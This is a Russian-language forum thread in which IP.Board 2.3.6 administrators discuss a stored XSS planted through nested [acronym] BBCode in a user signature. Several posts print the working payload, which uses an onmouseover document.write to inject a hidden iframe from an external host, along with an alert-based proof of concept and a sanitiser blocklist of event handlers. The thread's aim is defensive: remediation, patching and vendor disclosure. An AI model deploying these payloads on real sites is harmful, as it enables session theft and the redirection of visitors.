Перейти к контенту
  • 0

Пытаются взломать что делать


Вопрос

Есть форум ipb 2 3 6

 

один пользователь прислал в ЛС некое сообщение, при прокрутке скролом страницы перекинуло на другой сайт и вернуло обратно. В подписи юзера оказался следующий код

 

[color="#EEF2F7"][acronym=test1[acronym=test2 onmouseover=document.write("\x3Ciframe\x20src=http://****.freehostia.com/\x20frameborder=0\x20width=1024\x20height=3186\x20scrolling=no\x3E\x3C/iframe\x3E");document.close(); ]_]___________________________________________________________________________[/acronym]_[/acronym][/color]

 

 

вот как работает тег акронима:

[acronym='Laugh Out Loud']lol[/acronym]


<acronym title='{option}'>{content}</acronym>

 

Как защититься и что делать?

Ссылка на комментарий
Поделиться на других сайтах

  • Ответы 100
  • Создана
  • Последний ответ

Лучшие авторы в этом вопросе

Лучшие авторы в этом вопросе

Загружено фотографий

Рекомендуемые сообщения

  • 0

Дыра в парсере BBCode.

 

- сменить себе пароль и сбросить ключ авторизации через админцентр;

- удалить BBCode acronym;

- отписать об обнаруженной уязвимости форума в IPS;

- начать думать об обновлении до 3.х (хотя там парсер еще кривее).

 

Первый пункт имеет смысл если сделать это быстро. Иначе вашей сессией уже могли воспользоваться (проверьте логи авторизации в АЦ) и что-нибудь нехорошее сделать.

Изменено пользователем Ritsuka
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Я пароль поменял сразу же и перелогинился, это сделало невозможной использования старые куки которые увели?

 

На 3 переход уже физически невозможен, очень много изменений + тройка откровенная халтура, извините меня это мое личное мнение.

 

Я тоже подумал что тег можно стереть, но меня интересует: это эксплотй тега акроним или эту конструкцию можно повторить использую любые другие теги?

 

 

тема обсуждается тут

http://ipbskins.ru/forum/topic5228.html

http://forum.searchengines.ru/showthread.php?p=6476617

http://forum.antichat.ru/showthread.php?p=1960546

http://forums.ibresource.ru/index.php?showtopic=60138

 

 

Атакующий скрыл подпись под цвет фона

color="#EEF2F7"

 

Можно ли как-то запретить использовать в теге любые цвета? только те, которые black, red и тд.?

Изменено пользователем fagediba
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Да причем тут цвет, если кривой парсер позволяет пропихнуть любой HTML и даже JavaScript? :3

 

Например, на этом форуме эксплоит не сработает, ибо его спасает замена первой буквы в onmouseover (и во всех остальных "on"-эвентах) на o. Эта же замена есть в стандартном IPB3. Кажется, она была и в IPB2, но на 100% не уверен. А почему её нет у вас на форуме? Где вы брали движок и насколько актуальная у вас версия?

 

<acronym onmouseover="document.write("\x3Ciframe\x20src=http://****.freehostia.com/\x20frameborder=0\x20width=1024\x20height=3186\x20scrolling=no\x3E\x3C/iframe\x3E");document.close();" test2="" title="test1<acronym title=">_'>___________________________________________________________________________</acronym>

 

Презабавно... Эта доска тоже в одном шаге от активной XSS.

 

Я пароль поменял сразу же и перелогинился, это сделало невозможной использования старые куки которые увели?

Да.

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Правильно эксполоит выполняется так

 

<span style="color:#EEF2F7"><!--/coloro--><acronym title='test1<acronym title='test2 onmouseover=document.write("\x3Ciframe\x20src=http://****.freehostia.com/\x20frameborder=0\x20width=1024\x20height=3186\x20scrolling=no\x3E\x3C/iframe\x3E");document.close(); '>_'>___________________________________________________________________________</acronym>_</acronym><!--colorc--></span><!--/colorc-->

 

Если запретить onmouseover - привяжут к другому событию, можно все эти онэвенты

Ссылка на комментарий
Поделиться на других сайтах

  • 0

fagediba, цвет нужен только чтобы скрыть длинную горизонтальную полосу. А полоса нужна - чтобы вы гарантированно провели по ней мышью. Бороться с цветом - это все равно, что запрещать автомобили, чтобы избежать аварий на дорогах - не логично :D

 

Куда интереснее другой вопрос. Только что скачал 2.3.6 в клиентцентре, открываю /sources/classes/bbcode/class_bbcode_core.php и вижу строки 1024-1052 (заменил "&" на "$" чтобы парсер не съел html entites):

		//-----------------------------------------
	// Take a crack at parsing some of the nasties
	// NOTE: THIS IS NOT DESIGNED AS A FOOLPROOF METHOD
	// AND SHOULD NOT BE RELIED UPON!
	//-----------------------------------------

	$t = preg_replace( "/javascript/i" , "j$#097;v$#097;script"	, $t );
	$t = preg_replace( "/alert/i"	  , "$#097;lert"		 	, $t );
	$t = preg_replace( "/about:/i"	 , "$#097;bout:"		 	, $t );
	$t = preg_replace( "/onmouseover/i", "$#111;nmouseover"		, $t );
	$t = preg_replace( "/onclick/i"	, "$#111;nclick"			, $t );
	$t = preg_replace( "/onload/i"	 , "$#111;nload"		 	, $t );
	$t = preg_replace( "/onsubmit/i"   , "$#111;nsubmit"	   	, $t );
	$t = preg_replace( "/onmouseout/i" , "$#111;nmouseout"		, $t );
	$t = preg_replace( "/onunload/i"   , "$#111;nunload"   		, $t );
	$t = preg_replace( "/onabort/i"	, "$#111;nabort"			, $t );
	$t = preg_replace( "/onerror/i"	, "$#111;nerror"			, $t );
	$t = preg_replace( "/onblur/i"	 , "$#111;nblur"	 		, $t );
	$t = preg_replace( "/onchange/i"   , "$#111;nchange"   		, $t );
	$t = preg_replace( "/onfocus/i"	, "$#111;nfocus"			, $t );
	$t = preg_replace( "/onreset/i"	, "$#111;nreset"			, $t );
	$t = preg_replace( "/ondblclick/i" , "$#111;ndblclick" 		, $t );
	$t = preg_replace( "/onkeydown/i"  , "$#111;nkeydown"		  , $t );
	$t = preg_replace( "/onkeypress/i" , "$#111;nkeypress" 		, $t );
	$t = preg_replace( "/onkeyup/i"	, "$#111;nkeyup"			, $t );
	$t = preg_replace( "/onmousedown/i", "$#111;nmousedown"		, $t );
	$t = preg_replace( "/onmouseup/i"  , "$#111;nmouseup"		  , $t );
	$t = preg_replace( "/onselect/i"   , "$#111;nselect"   		, $t );

 

Эта вещь гарантированно защитит вас от этой уязвимости. А теперь вопрос - почему у вас такого кода в парсере нет? Какого года у вас 2.3.6 и ставили ли вы обновления безопасности?

Ссылка на комментарий
Поделиться на других сайтах

  • 0
А теперь вопрос - почему у вас такого кода в парсере нет?

Это не оспоримое преимущество бесплатных версий, скаченных не понятно откуда.

 

Какого года у вас 2.3.6 и ставили ли вы обновления безопасности?

У меня первый вопрос, был аналогичный. :D

Ссылка на комментарий
Поделиться на других сайтах

  • 0

вот мой бб коре

 

 

//-----------------------------------------
	// Take a crack at parsing some of the nasties
	// NOTE: THIS IS NOT DESIGNED AS A FOOLPROOF METHOD
	// AND SHOULD NOT BE RELIED UPON!
	//-----------------------------------------

	$t = preg_replace( "/javascript/i" , "javascript"	, $t );
	$t = preg_replace( "/alert/i"	  , "alert"		 	, $t );
	$t = preg_replace( "/about:/i"	 , "about:"		 	, $t );
	$t = preg_replace( "/onmouseover/i", "onmouseover"		, $t );
	$t = preg_replace( "/onclick/i"	, "onclick"			, $t );
	$t = preg_replace( "/onload/i"	 , "onload"		 	, $t );
	$t = preg_replace( "/onsubmit/i"   , "onsubmit"	   	, $t );
	$t = preg_replace( "/onmouseout/i" , "onmouseout"		, $t );

 

там все это есть, но все равно пропустило

 

// NOTE: THIS IS NOT DESIGNED AS A FOOLPROOF METHOD

// AND SHOULD NOT BE RELIED UPON!

Изменено пользователем fagediba
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Извините, кажется, я ввел вас в заблуждение. Кажется, этот код работает только с HTML-постами - "Pre-display convert HTML entities for use when HTML is enabled". Для обычных такой проверки нет (а зря). Однако, этот форум, выходит, модифицирован с целью закрытия этой дыры.

 

Ждем ответа техподдержки или других пользователей 2.3.6 :D

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Я на античате почитал - оказывается они любят использовать одни теги внутри других тегов. Может быть надо как-то отключить использование вложенных тегов?

 

 

апдейт. вот что сказал это который ломал

 

этот баг закрыть легко если хорошо подумать.
Изменено пользователем fagediba
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Это вызовет кучу проблем. Например, в цитатах вылезут все исходные коды. Нельзя будет использовать жирный текст в списках, или одновременно задавать цвет и размер шрифта.

 

Я вот не понимаю другого - IBR явно знали о такой уязвимости - ведь они закрыли её на этом форуме. Почему же дистрибутив не пропатчен?

 

[acronym=test1_Самое время кричать КАРАУЛ! )[/size]

 

ОТКЛЮЧИТЕ ПОДПИСИ НА СВОИХ ФОРУМАХ ВТОРОЙ ЛИНЕЙКИ!

 

Активная XSS может быть внедрена в подпись на всех форумах второй линейки. Например, обратите внимание на мою подпись.

 

К сожалению, fagediba уже запостил код эксплоита на куче форумов, джина уже в бутылку не загонишь. Защищайтесь как можете. )

 

Ritsuka.

_[/acronym]_

 

Хм, этот форум все же недостаточно пропатчен. JavaScript не пускает, а вот разметку попортить вполне можно.

Изменено пользователем GiV
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Не ну я конечно расплодил код, но что мне делать? ведь сами видите только таким способом можно добиться чего-то, надеюсь знающие люди тут отпишут что и где заменять, ритсука я дамаю сообщение уже можно убрать, все заметили). Вообще так можно увести любой пароль у кого угодно да и вообще дел наделать

 

<acronym title='test1<acronym title='test2 onmouseover=alert("xss!"); '>_'>Наведи на меня мышку! Я - активная XSS!</acronym>_</acronym><br /><br /><acronym title='test1<acronym title='test2 color=black style=position:absolute;top:10px;right:10px;height:50px;width:200px;border-style:solid;background-color:red;border-color:black;border-width:3px '>_'>_Активная XSS в форуме IP.Board 2.3.6!<br /><a href="http://forums.ibresource.ru/index.php?showtopic=60138" target="_blank">Подробности тут!</a><br /> _</acronym>_</acronym>

Изменено пользователем fagediba
Ссылка на комментарий
Поделиться на других сайтах

  • 0

fagediba, а мне оно нравится. Такое агрессивное и пугающее ^^'

 

Кстати, отключив подписи, вы избавитесь от активной XSS и только. Всякие гадости с разметкой вроде этого красного банера все равно можно будет творить. И еще javascript вместо бэкграундов попробовать подгружать... В общем, простора для злодеяний много...

 

Чтобы не мешать дискуссии накрыл баннером первый пост и заодно код эксплоита)))

Ссылка на комментарий
Поделиться на других сайтах

  • 0
Для хакера лазейка в 1000 раз меньше этой уже возможность получить полный доступ, там главное ниточка за которую они тянут
Ссылка на комментарий
Поделиться на других сайтах

  • 0
Чтобы не мешать дискуссии накрыл баннером первый пост и заодно код эксплоита)))

И форму ответа ... :D

 

А на тройке это точно не работает?

Ссылка на комментарий
Поделиться на других сайтах

  • 0
Да, проверено :D

Лишний повод перейти на тройку...

 

Я в хакинге не силен, но могу сказать что ближайший год тройка будет бить рекорды по уязвимостям, хотя профессиональный хакер вскроет одинаково просто и двойку и тройку и воблу и другие движки

Ссылка на комментарий
Поделиться на других сайтах

  • 0
fagediba, вот только тройка поддерживается разработчиками, а двойка - нет :D

 

Ну код-то открыт, я думаю умельцы нашлись что взломали, найдутся и те кто закроет.

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Ну, IPS и IBR поставлены в известность сразу, а там...

 

1 600 000 досок ждут своего патча :D Из них больше половины не узнают о дыре и получат по самые помидоры ;)

Изменено пользователем Ritsuka
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Да, написал лично CEO и на ящик в support.

 

Можете тоже написать, больше не меньше :D

 

Bad news everyone.

 

Уязвимость есть и в 3.х, просто делается несколько иначе.

Ссылка на комментарий
Поделиться на других сайтах

  • 0
Можете тоже написать, больше не меньше :D

Чукча не писатель, Чукча читатель ;)

 

Уязвимость есть и в 3.х, просто делается несколько иначе.

Надо писать...

Ссылка на комментарий
Поделиться на других сайтах

Присоединиться к обсуждению

Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.

Гость
Unfortunately, your content contains terms that we do not allow. Please edit your content to remove the highlighted words below.
Ответить на вопрос...

×   Вы вставили отформатированный текст.   Удалить форматирование

  Допустимо не более 75 смайлов.

×   Ваша ссылка была автоматически заменена на медиа-контент.   Отображать как ссылку

×   Ваши публикации восстановлены.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

Зарузка...

×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.